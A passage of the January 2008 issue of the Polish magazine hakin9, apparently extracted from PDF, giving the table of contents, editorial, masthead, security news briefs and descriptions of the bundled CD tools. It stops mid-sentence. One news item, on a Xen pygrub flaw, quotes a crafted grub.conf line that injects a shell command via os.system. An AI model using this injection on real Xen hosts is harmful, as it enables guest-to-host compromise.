4
www.hakin9.org
hakin9 Nr 01/2008
hakin9
5
www.hakin9.org
hakin9 Nr 2/2006
W skrócie
6
Mateusz Stępień
Przedstawiamy najciekawsze wiadomości ze świata
bezpieczeństwa systemów informatycznych i nie tylko.
Zawartość CD
10
Prezentujemy zawartość i sposób działania najnowszej
wersji naszej sztandarowej dystrybucji hakin9.live.
Narzędzia
Recenzja Internet Security Suite
14
Recenzja Teleguard
15
Początki
Domeny – zagrożenia i ich skutki
16
Damian Daszkiewicz
Damian w swoim artykule opisuje jak przenieść domenę
do innego rejestratora oraz co to jest WHOIS.
Atak
Blind Attack
20
Konrad Malewski
Technika blind scanning pozwala na poznanie niektó-
rych parametrów połączenia zestawionego pomiędzy
dwoma maszynami w sposób, która nie kieruje podej-
rzeń w stronę źródła ataku.
Niebezpieczne nazwy plików
30
Michał 'Gynvael Coldwind' Składnikiewicz
Z artykułu dowiesz się, jakie są najczęstsze zaniedba-
nia w implementacji obsługi nazw plików otrzymanych
z zewnątrz.
Obliczenia pasożytnicze
36
Michał Styś
Michał w swoim artykule przedstawia sposoby wyko-
rzystania protokołów sieciowych do wykonywania
obliczeń na komputerach podłączonych do Sieci.
C#.NET. Podsłuchiwanie klawiatury
42
Sławomir Orłowski, Maciej Pakulski
Z tego artykułu dowiemy się jak działąją haki w sys-
temie Windows oraz jak możemy dodawać wpisy do
rejestru systemowego.
Witam!
Drodzy Czytelnicy, mam zaszczyt powitać Was w Nowym
2008 Roku! Mam nadzieję, że będzie on obfitował w moc
sukcesów i pomyślnych zdarzeń. Niech wirusy i robaki
omijają Wasze komputery, a producenci oprogramowania
dostarczają coraz to nowych i jeszcze szkuteczniejszych
rozwiązań zapewniających bezpieczeństwo.
Liczę także na to, że tak jak w poprzednim roku, rów-
nież i w tym spędzicie parę chwil na lekturze hakin9'u.
Zachęcam do tego tym bardziej, że przygotowaliśmy dla
Was wiele niespodzianek. Profesjonalne artykuły, cieka-
we wywiady, najlepsze programy antywirusowe, konkursy
z nagrodami oraz wiele innych.
Jedną z nowości, jest pomysł organizowania comie-
sięcznych spotkań z Naszymi Czytelnikami. Chcieliby-
śmy spotkać się z Wami, porozmawiać, usłyszeć opinie
na temat hakin9u – co moglibyśmy zmienić, jakie rzeczy
poprawić, co Wam się podoba w naszym magazynie?
Oczywiście, zachęcamy również do dzielenia się swoimi
przemyśleniami na temat pisma już teraz. Czekamy na
wiadomości. Chcemy, żeby hakin9 był jeszcze bardziej
profesjonalny, żebyście sięgali po niego z większą cieka-
wością, a przede wszystkim, żeby ta ciekawość została w
100% zaspokojona.
W tym numerze, przygotowaliśmy dla Was kilka nowych
artykułów w których znajdziecie wiele praktycznych infor-
macji o tym, jak skutecznie zapewnić bezpieczeństwo nie
tylko danym znajdującym się na dyskach Waszych kom-
puterów, ale także samym maszynom. Nie zapomnieli-
śmy też o stałych punktach programu. W magazynie, tra-
dycyjnie: wiadomości, recenzje książek – w tym miesią-
cu E-biznes bez ryzyka. Zarządzanie bezpieczeństwem w
Sieci autorstwa Jonathana Reuvida oraz PHP Bezpieczne
Programowanie, którą napisał Chris Shiflett, a także opis
nowych narzędzi oraz płyta CD, na której oprócz progra-
mów znajdziecie kolejną część filmu instruktażowego na
temat ataku SQL Injection z użyciem Union Select.
Drodzy Czytelnicy, nie pozostaje mi nic innego, jak
zaprosić Was do lektury.
Barbara Czułada
4
www.hakin9.org
hakin9 Nr 01/2008
hakin9
5
www.hakin9.org
hakin9 Nr 2/2006
Obrona
Fizyczne
bezpieczeństwo serwerów
50
Rafał Podsiadły
Nie wiesz jak fizycznie zabezpieczyć swój serwer,
jakich narzędzi użyć?
Heurystyka
w programach antywirusowych
58
Jakub Dębski
Artykuł Jakuba Dębskiego pokazuje czym jest heury-
styka w programach antywirusowych, jakie są rodza-
je wykorzystywanych heurystyk oraz przed jakimi pro-
blemami stają ich twórcy.
Bezpieczna Firma
Bezpieczeństwo teleinfomatyczne
danych niejawnych
66
Andrzej Guzik
Andrzej pokaże nam sposoby ochrony informacji nie-
jawnych przetwarzanych w systemach komputero-
wych i sieciach teleinformatycznych.
Księgozbiór
72
Recenzujemy książki E-biznes bez ryzyka. Zarządza-
nie bezpieczeństwem w Sieci, PHP Bezpieczne Pro-
gramowanie oraz Podstawy ochrony komputerów.
Wywiad
Wywiad z
Marcinem Piołunem-Noyszewskim
74
Katarzyna Juszczyńska
Rozmowa z prezesem firmy M2 NET, która jest nie-
zależnym producentem oprogramowania tworzącym
zaawansowane rozwiązania związane z bezpieczeń-
stwem i działalnością biznesową.
Felieton
Czy hakerzy są źli?
78
Rafał Bednarski
Zapowiedzi
82
Zapowiedzi artykułów, które znajdą się w następnym
wydaniu naszego pisma.
jest wydawany przez Software–Wydawnictwo Sp. z o.o.
Dyrektor wydawniczy: Sylwia Pogroszewska
Redaktor naczelny: Katarzyna Juszczyńska
katarzyna.juszczynska@software.com.pl
Redaktor prowadzący: Robert Gontarski
robert.gontarski@software.com.pl
Asystentka: Barbara Czułada
barbara.czułada@software.com.pl
Wyróżnieni betatesterzy: Ewa Rutkowska, Marcin Kosedowski
Opracowanie CD: Rafał Kwaśny
Kierownik produkcji: Marta Kurpiewska marta@software.com.pl
Skład i łamanie: Robert Zadrożny robert.zadrozny@software.com.pl
Okładka: Agnieszka Marchocka
Dział reklamy: adv@software.com.pl
Prenumerata: Marzena Dmowska pren@software.com.pl
Adres korespondencyjny: Software–Wydawnictwo Sp. z o.o.,
ul. Bokserska 1, 02-682 Warszawa, Polska
Tel. +48 22 427 36 77, Fax +48 22 427 36 69
www.hakin9.org
Osoby zainteresowane współpracą prosimy o kontakt:
cooperation@software.com.pl
Druk: 101 Studio, Firma Tęgi
Redakcja dokłada wszelkich starań, by publikowane w piśmie i na
towarzyszących mu nośnikach informacje i programy były poprawne,
jednakże nie bierze odpowiedzialności za efekty wykorzystania ich;
nie gwarantuje także poprawnego działania programów shareware,
freeware i public domain.
Uszkodzone podczas wysyłki płyty wymienia redakcja.
Wszystkie znaki firmowe zawarte w piśmie są własnością odpowiednich
firm i zostały użyte wyłącznie w celach informacyjnych.
Do tworzenia wykresów i diagramów wykorzystano
program
firmy
Płytę CD dołączoną do magazynu przetestowano programem AntiVirenKit
firmy G DATA Software Sp. z o.o.
Redakcja używa systemu automatycznego składu
UWAGA!
Sprzedaż aktualnych lub archiwalnych numerów pisma w cenie innej
niż wydrukowana na okładce – bez zgody wydawcy – jest działaniem
na jego szkodę i skutkuje odpowiedzialnością sądową.
hakin9 ukazuje się w następujących krajach: Hiszpanii, Argentynie,
Portugalii, Francji, Belgii, Luksemburgu, Kanadzie, Maroko, Niem-
czech, Austrii, Szwajcarii, Polsce, Czechach, Słowacji.
Prowadzimy również sprzedaż kioskową w innych krajach europej-
skich.
Magazyn hakin9 wydawany jest w 7 wersjach językowych:
PL
ES
CZ EN
IT FR DE
Nakład wersji polskiej 6 000 egz.
UWAGA!
Techniki prezentowane w artykułach mogą być używane jedynie
we własnych sieciach lokalnych.
Redakcja nie ponosi odpowiedzialności za niewłaściwe użycie
prezentowanych technik ani spowodowaną tym utratę danych.
W skrócie
hakin9 Nr 01/2008
www.hakin9.org
6
Mateusz Stępień
www.hakin9.org
7
hakin9 Nr 01/2008
McAfee przejmuje SafeBoot
Firma McAfee, światowy lider w dzie-
dzinie produktów antywirusowych,
zapór i programowych zabezpieczeń
internetowych, ogłosiła decyzję
o przejęciu holenderskiego producen-
ta systemów kontroli dostępu
i szyfrowania danych – firmy SafeBo-
ot. Oprogramowanie firmy McAfee
używane jest aktualnie na ponad
100 milionach komputerów, przeję-
cie SafeBoot pozwoli zaoferować ich
użytkownikom funkcjonalność szy-
frowania danych – dzięki aplikacji
Data Protection Suite, która pozwa-
la na szyfrowanie plików, katalogów
i całych partycji na wszelkiego typu
urządzeniach przenośnych, notebo-
okach i palmtopach. Kwota transakcji
wyniosła około 350 milionów dolarów,
jednak zakup SafeBoot nie jest jedy-
nym nabytkiem planowanym przez
McAfee w najbliższym czasie.
OpenBSD łata dziurę
w serwerze DHCP
Firma Core Security odkryła poważ-
ny błąd w zabezpieczeniach serwe-
ra DHCP wykorzystywanego
w wolno dostępnym systemie ope-
racyjnym OpenBSD 4.0, 4.1 oraz
4.2. Błąd jest o tyle poważny, że
atakujący, który ma dostęp do sieci
lokalnej, może przy użyciu odpo-
wiednio spreparowanego żąda-
nia DHCP unieruchomić dowol-
ną usługę. Specjaliści z Core Secu-
rity wykryli w funkcji cons_options
(
src/usr.sbin/dhcpd/options.c
)
błąd przepełnienia bufora. Warto też
przypomnieć, że ostatnio odkryto
podobny błąd także w oprogramo-
waniu serwera DHCP używanego
przez aplikacje do wirtualizacji firmy
Vmware.
NEC izoluje szkodliwy kod
F
irma NEC – międzynarodo-
we konsorcjum z sektora infor-
matycznego z siedzibą w Minato
w Japonii – opracowała nową tech-
nologię, która pozwala na wykry-
cie, odizolowanie i zatrzymanie
działania wirusa na poziomie rdze-
nia procesora. Technologia jest
o tyle ciekawa, że stworzona zosta-
ła dla procesorów wielordzenio-
wych, dzięki czemu nie przeszka-
dza w sprawnym działaniu całego
systemu. Głównym założeniem
nowej technologii jest uruchamia-
nie każdego programu w oddziel-
nym procesie na osobnych rdze-
niach wielordzeniowego CPU.
Ten innowacyjny pomysł inżynie-
rów firmy NEC skutecznie zapo-
biega rozprzestrzenieniu się szko-
dliwego kodu po całym systemie i
przedostanie się do sieci, a rdzeń,
w którym uruchamia się wirus,
zostaje chwilowo wyłączony. NEC
nie wymyślił jeszcze nazwy dla
swojej technologii. Technologię
można wykorzystać w telefonach
komórkowych, samochodach i naj-
prawdopodobniej w komputerach.
NEC Corporation to japońska
firma produkująca sprzęt kompu-
terowy, telekomunikacyjny, urzą-
dzenia elektroniczne i oprogra-
mowanie, między innymi notebo-
oki Versa oraz Lavie. NEC został
założony przez Kunihiko Iwadare
wraz z grupą współpracowników
w 1899 r. Jeden z założycieli
pochodził z USA.
Odkryto lukę w oprogramowaniu
wirtualizacyjnym Xen
J
oris van Rantwijk wykrył błąd
w środowisku wirtualizacji Xen,
umożliwiający użytkownikowi z upra-
wnieniami root’a w domenie gościa
wykonać dowolne polecenia w do-
menie 0, czyli w samym kontrolerze,
nadzorującym pracę środowiska wir-
tualizacji.
Bezpośrednim źródłem błędu
jest
skrypt
tools/pygrub/src/
GrubConf.py, który odczytuje dane
z pliku konfiguracyjnego GRUB’a
(boot/grub/grub.conf) i próbuje
ustawić odpowiednie parametry
używając funkcji exec bez popraw-
nego sprawdzania przekazywa-
nych parametrów.
Podczas kolejnego restartu odpo-
wiednio przygotowany plik konfigura-
cyjny może zostać wykorzystany do
przekazania poprzez skrypt działają-
cy w domenie 0 poleceń do shell’a
i ich wykonania.
Joris van Rantwijk w swoim
wpisie w Bugzilli na Xensource.com
zaprezentował przykładową linię
wywołania:
default "+str(0*os.system(
" insert evil command here "))+"
Błąd został znaleziony w wersji
3.0.3, starsze wersje również mogą
być podatne na ten rodzaj ataku.
Na chwilę obecną nie udostępniono
poprawki.
Xen to monitor maszyn wirtu-
alnych na licencji open source,
opracowany na Uniwersytecie Cam-
bridge i rozwijany przez firmę
XenSource.
Ma ono za zadanie obserwo-
wanie maszyn wirtualnych uru-
chomionych w jego środowisku
i dbanie o to, aby nie zakłócały one
wzajemnie swojej pracy i aby ich
równoczesne działanie nie obni-
żało w znaczący sposób wydajno-
ści systemu.
W skrócie
hakin9 Nr 01/2008
www.hakin9.org
6
Mateusz Stępień
www.hakin9.org
7
hakin9 Nr 01/2008
Oprogramowanie
Open Source
nie jest bezpieczne
Firma Fortify Software, zajmują-
ca się bezpieczeństwem i oferu-
jąca produkty chroniące bardzo
duże firmy przed największym
niebezpieczeństwem – czyli apli-
kacjami, które pracują wewnątrz
tych przedsiębiorstw – przygo-
towała ciekawy raport, z któ-
rego wynika, że hakerzy coraz
częściej używają aplikacji Open
Source do przeprowadzania
ataków. Przedstawiciel Forti-
fy Software, Brian Chess, twier-
dzi: Ten nowy rodzaj zagro-
żeń świadczy o tym, że hake-
rzy bardzo uważnie przygląda-
ją się procesowi powstawania
oprogramowania. Włamywacze
nadal wykorzystują luki w aplika-
cjach już dostępnych na rynku.
Coraz częściej jednak sami wpły-
wają na kształt nowego oprogra-
mowania, umieszczając w nim
luki, zanim jeszcze zostanie ono
ukończone.
51 poprawek Oracle'a
Oracle przedstawił zestaw
51 poprawek bezpieczeństwa.
Zamykają one między innymi
pięć poważnych luk, które można
wykorzystać do przeprowadze-
nia zdalnych ataków. Luki zna-
leziono w następujących pro-
duktach Oracle'a: Oracle Data-
base (27 poprawek), Oracle
Application Server (11 popra-
wek), Oracle E-Business Suite
(8 poprawek), Enterprise Mana-
ger Database Control (2 popraw-
ki), a także Peoplesoft Enterprise
(3 poprawki).
Bramka zabezpieczająca UTM
F
irma PLANET Technology,
globalny lider technologii sie-
ciowych opartych na protokole
IP, zaprezentowała nową bramkę
zabezpieczającą UTM o nazwie
CS-2000, w której zaadaptowano
algorytm analizy heurystycznej do
filtrowania poczty elektronicznej
pod kątem spamu i wirusów.
Samouczący się system potra-
fi podnosić swą efektywność
w identyfikacji spamu, a wbudowa-
ny twardy dysk o pojemności 80GB
zapewnia wystarczającą ilość miej-
sca dla maili poddanych kwaran-
tannie.
Mechanizm antywirusowy posia-
da dwa silniki skanujące: Clam oraz
Sophos, dzięki czemu jest w stanie
skutecznie zdiagnozować wirusy,
robaki i inne zagrożenia w poczcie
elektronicznej i przesyłanych z Inter-
netu plikach. Urządzenie przesyła
raporty dzienne, tygodniowe, mie-
sięczne i roczne poprzez e-mail, co
pozwala administratorowi na łatwe
monitorowanie statusu sieci.
CS-2000 – dzięki wbudowane-
mu firewall’owi i zabezpieczeniom
IDP – chroni również przed wła-
maniami hakerów i innymi atakami
płynącymi ze strony Internetu lub
intranetu.
Wbudowane dwa porty WAN
umożliwiają bramce balansowanie
obciążenia dla ruchu wchodzące-
go i wychodzącego oraz zapewnia-
ją ciągły dostęp do sieci WAN nawet
w wypadku awarii jednego z łącz.
Poprawki bezpieczeństwa
dla Asteriska 1.4
D
eweloperzy darmowego opro-
gramowania Asterisk, służą-
cego do obsługi systemów telefonii,
wydali nową wersję oznaczoną
numerkiem 1.4.13, w której usunię-
to dwa poważne błędy związane
z funkcjonowaniem poczty głosowej.
W kodzie podsystemu Voice-Mail
Asteriska, który korzysta z protoko-
łu IMAP, znaleziono poważną uster-
kę polegającą na niebezpiecznym
użyciu funkcji sprintf(). Usterka jest
bardzo poważna i pozwala na zawie-
szenie systemu lub wprowadzenie
do niego dowolnego kodu. Żeby błąd
wystąpił, napastnik musi spreparo-
wać nagłówki Content-Type i Con-
tent-Description w taki sposób, aby
ich długość przekroczyła w sumie
1024 bajty. Zagrożone występo-
waniem błędów są jedynie wyda-
nia Asterisk Open Source o nume-
rze wersji mniejszym niż 1.4.13. Lukę
w Voice-Mail odkrył dostawca usług
z zakresu bezpieczeństwa, firma
Diginum. Asterisk został stworzony
przez Marc'a Spencer'a pod szyl-
dem firmy Digium. Z małymi wyjąt-
kami jest udostępniony na zasa-
dach Free software license. Obecnie
Asterisk może działać pod kontrolą
Windows, BSD i OS X, jednak jego
natywnym środowiskiem jest Linux,
i dla niego też zapewnione jest naj-
większe wsparcie. Asterisk jest
także macierzystym środowiskiem
protokołu wykrywania usług VoIP.
W skrócie
hakin9 Nr 01/2008
www.hakin9.org
8
Mateusz Stępień
www.hakin9.org
9
hakin9 Nr 01/2008
Ubuntu Gutsy Gibbon
Ukazała się nowa wersja dystry-
bucji Ubuntu 7.10 o nazwie kodo-
wej Gutsy Gibbon. W nowym
Ubuntu znajdziemy między innymi
środowisko GNOME w wersji
2.20, domyślnie włączone efekty
graficzne Compiz Fusion i zainsta-
lowaną wtyczkę Gnash do odtwa-
rzania animacji Flash. Ubuntu
Gutsy Gibbon zawiera jądro
2.6.22 i podsystem grafiki Xorg
7.3 z obsługą RandR 1.2 oraz
z xserver 1.4. Pojawiły się także
sterowniki do niektórych tzw. win-
modemów. Twórcy Ubuntu popra-
wi również system raportowa-
nia przy instalacji i aktualiza-
cjach pakietów, a także zgłaszania
padów jądra, które będą wyłapy-
wane podczas restartu.
Panda 2008 już w sprzedaży
W sprzedaży pojawiły się najnow-
sze rozwiązania przeznaczone do
ochrony komputerów firmy Panda
Security na rok 2008. Firma przy-
gotowała trzy zestawy produktów:
Panda Internet Security 2008,
program Panda Antivirus + Fire-
wall 2008 i samodzielną aplika-
cję antywirusową Panda Antivi-
rus 2008. Wszystkie produkty na
rok 2008 zawierają nowy model
ochrony megadetection, który
znacznie zwiększa wykrywalność
wirusów i innych zagrożeń.
Internet Explorer 7 dla każdego
G
igant z Redmond, firma Micro-
soft, udostępniła przeglądar-
kę Internet Explorer 7 wszystkim
chętnym, nie tylko właścicielom
oryginalnych kopii Windows. Dzi-
siejsza poprawka Installation and
Availability umożliwia pobranie
Internet Explorera 7 bez przecho-
dzenia WGA (Windows Genuine
Advantage). Przeglądarka będzie
dostępna dla wszystkich użytkow-
ników Windows XP – czytamy na
firmowym blogu.
Przypomnijmy, że Windows Ge-
nuine Advantage (WGA) jest czę-
ścią inicjatywy Microsoft Genuine
Software Initiative, której zada-
niem jest udostępnianie aplika-
cji wyłącznie tym użytkownikom,
którzy posiadają oryginalne wersje
systemu operacyjnego Windows.
Firma z Redmond ujawnia, że zre-
zygnowała z WGA z powodów bez-
pieczeństwa: Bardzo zależy nam na
tym, by skutecznie chronić wszyst-
kich użytkowników, czyli cały 'eko-
system Windows' – dlatego też
postanowiliśmy rozszerzyć możli-
wość korzystania z IE7 na wszyst-
kie systemy Windows. Oznacza
to, że do zainstalowania najnow-
szej wersji naszej przeglądarki nie
będzie już niezbędne przeprowa-
dzenie weryfikacji legalności syste-
mu – tłumaczy Steve Reynolds.
Tristan Nitot z Mozilli twier-
dzi, że udostępnienie przeglądar-
ki wszystkim użytkownikom Win-
dows jest spowodowane obawą
o utratę rynku. Myślę, że IE7 rozpo-
wszechnia się zbyt wolno, częścio-
wo ze względu na WGA – stwier-
dził Nitot.
Linspire 6.0 z licencjami Microsoftu
U
kazała się najnowsza wersja
komercyjnego systemu ope-
racyjnego Linspire 6.0, bazujące-
go na Ubuntu Feisty Fawn. Linspi-
re 6 jest pierwszą wersją, która jest
objęta ochroną patentową wynika-
jącą z umowy z Microsoftem. Zało-
żeniem twórców było stworzenie
w pełni funkcjonalnego systemu
operacyjnego, który nie posiada
tak widocznych braków w oprogra-
mowaniu i funkcjach, jak w przy-
padku najpopularniejszych dar-
mowych dystrybucji Open Source.
Nowy Linspire oferuje domyślnie
zainstalowane kodeki do odtwa-
rzania filmów QuickTime, Windows
Media, Flash, Real oraz wspar-
cie dla formatu Microsoft Office
Open XML. Linspire 6 oferuje
dostęp do portalu CNR, z którego
można łatwo zainstalować ponad
20 tysięcy darmowych i płatnych
aplikacji, a oprócz tego znajdzie-
my w nim zestaw autorskich apli-
kacji – między innymi Lphoto
i Lsongs.Larry Kettler, dyrek-
tor generalny korporacji Linspire,
powiedział o najnowszym produk-
cie: Nadal kontynuujemy tradycję
Linspire, oferując jeszcze lepsze
możliwości nowym użytkowni-
kom systemu Linux. Linspire 6.0
pomniejsza przepaść między opro-
gramowaniem open source a ko-
mercyjnymi aplikacjami, łącząc
najlepsze cechy obu stron w jeden,
łatwy w użytkowaniu i produktywny
system operacyjny.
W skrócie
hakin9 Nr 01/2008
www.hakin9.org
8
Mateusz Stępień
www.hakin9.org
9
hakin9 Nr 01/2008
Botnety lubią Linuksa?
Największy serwis aukcji interne-
towych na świecie, portal eBay,
planuje w niedługiej przyszło-
ści przekształcić swojego Pay-
Pal'a - system, który umożli-
wia wysyłanie i otrzymywanie
bezpiecznych płatności każde-
mu, kto jest posiadaczem konta
e-mail - w bezpieczny interneto-
wy bank. Dave Cullinane, który
jest główną osobą odpowiedzial-
ną za bezpieczeństwo IT w eBay,
podczas konferencji, która odbyła
się w Santa Clara, podzielił się
swoimi ciekawymi spostrzeże-
niami z czasów, gdy pracował
w Washington Mutual – jednym
z największych amerykańskich
banków. Cullinane mówił między
innymi o tym, że jego bank był
bardzo często atakowany przez
cyberprzestępców, a raz zdarzy-
ło się, iż przez cały miesiąc był
celem największego wówczas
ataku w USA. To była niezwykle
zaawansowana technika ataku,
a większość użytkowników nawet
nie zdawała sobie sprawy z faktu,
że ich komputer jest częścią bot-
neta. Odcinaliśmy poszczególne
maszyny, które zawierały phishin-
gowe oprogramowanie,
a ich użytkownicy nie mieli poję-
cia, że cyberprzestępcy wykorzy-
stują ich komputery. Wiele z nich
to były serwery należące do firm
i uczelni. Dave Cullinane stwier-
dził też, że: Zdecydowana więk-
szość szkodliwych witryn znaj-
dowała się na komputerach pra-
cujących pod kontrolą Linuksa,
co nas bardzo zdziwiło. Spodzie-
waliśmy się znacznej przewagi
maszyn, na ktorych zainstalowa-
ny był Windows, ale tym razem
było inaczej.
Wyeliminowano błąd w WinAmpie
W
ydano nową wersję popular-
nego odtwarzacza multime-
dialnego Winamp 5.5, która zawie-
ra poprawkę eliminującą błąd prze-
kroczenia zakresu liczby całkowi-
tej w module służącym do przetwa-
rzania danych zapisanych z uży-
ciem bezstratnego formatu audio
o nazwie FLAC. Problem jest na
tyle poważny, że po uruchomie-
niu odpowiednio spreparowanego
pliku Free Lossless Audio Codec
następuje przepełnienie bufora,
dzięki któremu włamywacz może
wykorzystać komputer użytkow-
nika do wykonania dowolnego
kodu. Wykryty błąd dotyczył wersji
Winampa 5.35 Full. Specjaliści
zalecają aktualizację do Winampa
5.5 albo ręczne usunięcie bibliote-
ki libFLAC.
eTokeny Aladdina zabezpieczają
telefony Virgin Mobile we Francji
A
laddin Knowledge Systems roz-
począł współpracę z siecią tele-
fonii komórkowej Virgin Mobile we
Francji. W wyniku zawartej umowy
ponad 3 tysiące dystrybutorów
w całym kraju zostało wyposażo-
nych w rozwiązania eToken. Virgin
Mobile udostępnia część swojego
systemu informatycznego stronom
trzecim. Odbywa się to za pośred-
nictwem Internetu i ma rozproszo-
ny charakter. W takich sytuacjach
palącą potrzebą jest właściwa
ochrona systemu i odpowiednie
zarządzanie dostępem do niego.
eTokeny poprzez zastosowanie
dwupoziomowego modelu uwie-
rzytelnienia wprowadzają wydaj-
ny i szczelny system zabezpieczeń.
Dodatkowo system TMS wspoma-
ga firmę w zarządzaniu infrastruk-
turą eTokenów. – powiedział Shlomi
Yanai, wiceprezes firmy Aladdin.
Dzięki wyposażeniu dystrybuto-
rów w dwustopniowy klucz uwie-
rzytelnienia eTokenu NG-OTP, sieć
Virgin Mobile osiągnęła wysoki
poziom bezpieczeństwa aktywacji
telefonów w całej Francji – poprzez
zabezpieczenie przed nieautory-
zowanymi użytkownikami, którzy
mogliby zdobyć dostęp do danych
firmy. eToken NG-OTP to jeden
z najbardziej innowacyjnych rodza-
jów tokenów. NG-OTP jest bardzo
elastycznym i uniwersalnym urzą-
dzeniem wspierającym wiele rozwią-
zań do autoryzacji dostępu i współ-
pracuje z różnymi rodzajami sieci
oraz aplikacji. Aladdin Knowledge
Systems to izraelska firma infor-
matyczna, która powstała w 1985 r.
ptOd 1993 r. Aladdin specjalizuje
się w tworzeniu rozwiązań wspo-
magających zarządzanie dostępem
do oprogramowania (Digital Rights
Management, DRM) oraz zabezpie-
czanie go przed piractwem i niekon-
trolowanym wykorzystywaniem.
hakin9.live
hakin9 Nr 01/2008
www.hakin9.org
10
N
a dołączonej do pisma płycie znajduje się haki-
n9.live (h9l) w wersji 4.0.2 on BackTrack2.0, za-
wierająca przydatne narzędzia, dokumentację,
tutoriale i materiały dodatkowe do artykułów. Aby zacząć
pracę z hakin9.live, wystarczy uruchomić komputer z CD.
Po uruchomieniu systemu możemy zalogować się jako
użytkownik hakin9 bez podawania hasła.
Pełne wersje programów:
• DTweak,
• Novosoft Office Backup 2.2,
• Dr.Web for Windows File Servers (wersja 6-mie-
sięczna),
• System Safety Monitor (wersja 6-miesięczna),
• ArcaVir 2007 (wersja 3-miesięczna),
• Stellar Phoenix Windows Recovery.
Filmy instruktażowe:
• Drugi odcinek – Atak SQL Injection z użyciem Union
Select.
Kolejny odcinek z serii filmów instruktażowych przed-
stawiających najpopularniejsze metody ataków na
strony internetowe.
DTweak
Narzędzie poprawiające wydajność i wygląd systemów
z rodziny Windows. Działa w wersjach XP, 2003, Vista.
Dzięki wbudowanym funkcjom można w łatwy sposób
oczyścić dysk i rejestr ze zbędnych danych, zdefragmen-
tować zarówno dysk, jak i rejestr oraz zmienić wiele ukry-
tych w systemie opcji. Program został zaprojektowany
przede wszystkim dla Visty.
Przy rejestracji użyj zakładki Register for FREE Now,
wprowadź swoje imię i nazwisko oraz adres e-mail. Po
rejestracji wersja 10-dniowa stanie się wersją bez ograni-
czeń czasowych.
Novosoft Office Backup 2.2
Jedno z najlepszych narzędzi do tworzenia kopii zapa-
sowych. W łatwy sposób sporządzimy backup zdjęć,
dokumentów i wielu innych wartościowych dla nas pli-
ków. Oferuje dwa tryby tworzenia kopii: standardowy
i ekspercki. Istnieje możliwość filtrowania plików, kom-
presji, szyfrowania danych. Poza tym Office Backup
posiada rozbudowany system wtyczek pozwalających
na tworzenie kopii e-maili z różnych klientów poczto-
wych, danych przeglądarek WWW, komunikatorów,
menadżerów haseł itd. Potrafi także zsynchronizować
Zawartość CD
się z zewnętrznym serwerem FTP. Ważną funkcją jest
również planowanie automatycznego tworzenia kopii
zapasowych (dzienne, tygodniowe, miesięczne). Pro-
gram dokuje się w zasobniku systemowym, informu-
jąc przy pomocy swojej ikonki o statusie aktualnie wy-
konywanego zadania. Kopie zapasowe można bezpo-
średnio umieszczać na wielu różnych nośnikach, jak
np. HDD, płyty CD/DVD/HD/Blue-Ray, USB, LAN,
FTP itd. Poza tym mamy do dyspozycji obsługę skryp-
tów. Program został zaprojektowany dla systemów
z rodziny Windows w wersjach od 2000 do Vista.
Dr.Web for file servers
Windows NT/2000/2003
Produkt z rodziny Dr.Web przeznaczony do ochrony ser-
werów plików Windows NT/2000/2003.
Kluczowe funkcje:
• kontrola wszystkich operacji plikowych w czasie rze-
czywistym,
• dostępność trybów skanowania: w czasie rzeczywi-
stym, na żądanie, wg. terminarza,
• unikalna technologia zarządzania zasobami serwera
(odraczanie testowania plików otwieranych tylko do
odczytu),
• automatyczna aktualizacja,
• logowanie zdarzeń.
Unikalna technologia zarządzania zasobami, umożliwia-
jąca odroczenie testu plików otwartych tylko do odczy-
tu, pozwala na zapamiętywanie żądań dostępu do plików
przechowywanych na serwerze i testowanie ich w mo-
mencie zwolnienia zasobów systemowych. Dzięki temu
wydajność antywirusa Dr.Web jest ograniczona tylko wy-
dajnością chronionego serwera.
Dr.Web Anti-Virus poprawnie sprawdza różne ty-
py archiwów - skompresowane, wielowolumenowe
i samorozpakowujące się (SFX). Dodatkowo Dr.Web
sprawdza również pliki spakowane różnymi rodzaja-
mi pakerów.
Pliki czy aplikacje mogą zostać przetestowane
w poszukiwaniu wirusów i innego szkodliwego opro-
gramowania w locie (on-the-fly), na żądanie admi-
nistratora serwera lub poprzez zadanie terminarza
Dr.Web. Administrator może także ustawić automa-
tyczne reakcje antywirusa dla różnego rodzaju wykry-
tych zagrożeń.
Sama administracja nie jest skomplikowana, dzia-
łanie antywirusa jest praktycznie niezauważalne.
hakin9.live
hakin9 Nr 01/2008
www.hakin9.org
12
Wszystkie operacje wykonane przez antywirusa na pli-
kach znajdują odbicie w statystykach. Statystyki ska-
nowania dynamicznie pokazują czas operacji procesu,
ilość sprawdzonych plików, wykryte zagrożenia i inne
przydatne informacje.
Po instalacji pakietu Dr.Web Windows 2000/2003 Se-
rver zostaje automatycznie stworzone zadanie systemo-
we aktualizacji antywirusowych baz danych i innych pli-
ków pakietu.
System Safety Monitor
Narzędzie pozwala na śledzenie w czasie rzeczywi-
stym poczynań systemu operacyjnego Windows oraz
chroni przed niebezpiecznymi akcjami. Dzięki niemu
można kontrolować, które aplikacje zostaną urucho-
mione, a które nie, uniemożliwić dzieciom dostęp do
pewnych plików, zablokować instalację sterowników,
bibliotek, zabić lub zawiesić wybrany proces. Szcze-
gólnie chroniony jest rejestr, pliki INI, sterowniki, usługi
systemu oraz pliki przeglądarki Internet Explorer.
ArcaVir 2007
Program chroniący komputer przed złośliwym oprogra-
mowaniem (wirusy, trojany, dialery, rootkity itd.) oraz in-
nymi zagrożeniami wynikającymi z podłączenia kompu-
tera do Internetu.
W skład pakietu wchodzą następujące komponenty:
• skaner poczty – bada pocztę elektroniczną pod ką-
tem wirusów, robaków itp., współpracuje z każdym
programem pocztowym,
• skaner antywirusowy – dzięki niemu możemy wygod-
nie przeskanować odpowiednie, wybrane przez nas
zasoby komputera,
• monitor antywirusowy – na bieżąco kontroluje używane
przez nas pliki, jest czuły, szybki i – co zasługuje na po-
chwałę – nie obciąża zbytnio systemu operacyjnego,
• skaner HTTP – blokuje obiekty wykorzystujące proto-
kół HTTP do rozprzestrzeniania się,
• firewall – pozwala na kontrolę przepływu danych
przez nasz komputer z sieci i do sieci,
• silnik antywirusowy – wyposażony jest w pokaź-
nych rozmiarów bazę danych zawierającą informację
o wielu typach szkodliwego oprogramowania.
Warto zauważyć, że ArcaVir dobrze radzi sobie także
z phishingiem oraz programami spyware. Baza wirusów
aktualizowana jest na bieżąco. Oczywiście nie należy
mylić firewalla ze skanerem HTTP. Silnik ArcaVir opiera
się na systemie wtyczek, co oznacza, że w razie niebez-
pieczeństwa pojawienia się nowego zagrożenia, pakiet
zostanie automatycznie zaktualizowany, a nowa wtycz-
ka dodana do silnika. Pakiet bardzo dobrze współpracu-
je z Windows Vista.
Stellar Phoenix Windows Recovery
Program służy do odzyskiwania danych z dysków twar-
